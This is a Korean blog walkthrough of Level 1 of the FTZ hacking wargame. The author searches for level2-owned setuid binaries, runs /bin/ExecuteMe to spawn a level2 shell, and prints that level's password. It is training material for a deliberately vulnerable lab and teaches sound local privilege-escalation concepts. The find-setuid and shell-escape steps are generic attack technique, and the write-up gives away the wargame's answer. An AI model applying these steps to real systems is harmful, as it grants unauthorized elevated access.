[FTZ] Level 1

Sisyphus·2022년 7월 14일

FTZ

목록 보기
10/30
[level1@ftz level1]$ ls
hint  public_html  tmp
[level1@ftz level1]$ cat hint


level2 권한에 setuid가 걸린 파일을 찾는다.

hint 파일을 출력해보니 level 2의 setuid가 걸린 파일을 찾으라 하고 있습니다.
⇾ find 명령어를 통해 setuid가 걸린 파일을 찾아 실행시켜 level 2의 권한을 얻고 my-pass 명령어를 통해 패스워드를 얻을 수 있을 거 같습니다.


*setuid*
리눅스 특별 권한으로 setuid가 걸린 파일을 실행시키면 일시적으로 파일 소유자의 권한을 얻을 수 있습니다.
user의 execute permission 부분에 s로 표시합니다.
special bit는 4입니다.


[level1@ftz level1]$ find / -user level2 -perm -4000 2> /dev/null
/bin/ExecuteMe
[level1@ftz level1]$ cd /bin
[level1@ftz bin]$ ls -l | grep ExecuteMe 
-rwsr-x---    1 level2   level1      12868 Sep 10  2011 ExecuteMe

find 명령어로 level2 유저의 setuid가 걸린 파일을 검색하니 /bin/ExecuteMe 파일이 검색되었습니다.

해당 위치로 이동한 후 ls -al 명령어로 확인해보니 setuid가 걸려있습니다.


[level1@ftz bin]$ ExecuteMe 



		레벨2의 권한으로 당신이 원하는 명령어를
		한가지 실행시켜 드리겠습니다.
		(단, my-pass 와 chmod는 제외)

		어떤 명령을 실행시키겠습니까?


		[level2@ftz level2]$ 

ExecuteMe 파일을 실행 시키자 my-pass와 chmod를 제외한 어떤 명령을 실행시킬지 묻고 있습니다.
⇾ /bin/bash라는 쉘 프로그램을 실행시켜보면


level2의 권한으로 쉘이 실행되었습니다.

		[level2@ftz level2]$ /bin/bash
        
[level2@ftz level2]$ my-pass

Level2 Password is "hacker or cracker".

my-pass 명령어를 입력해보면 패스워드가 출력되었습니다.

0개의 댓글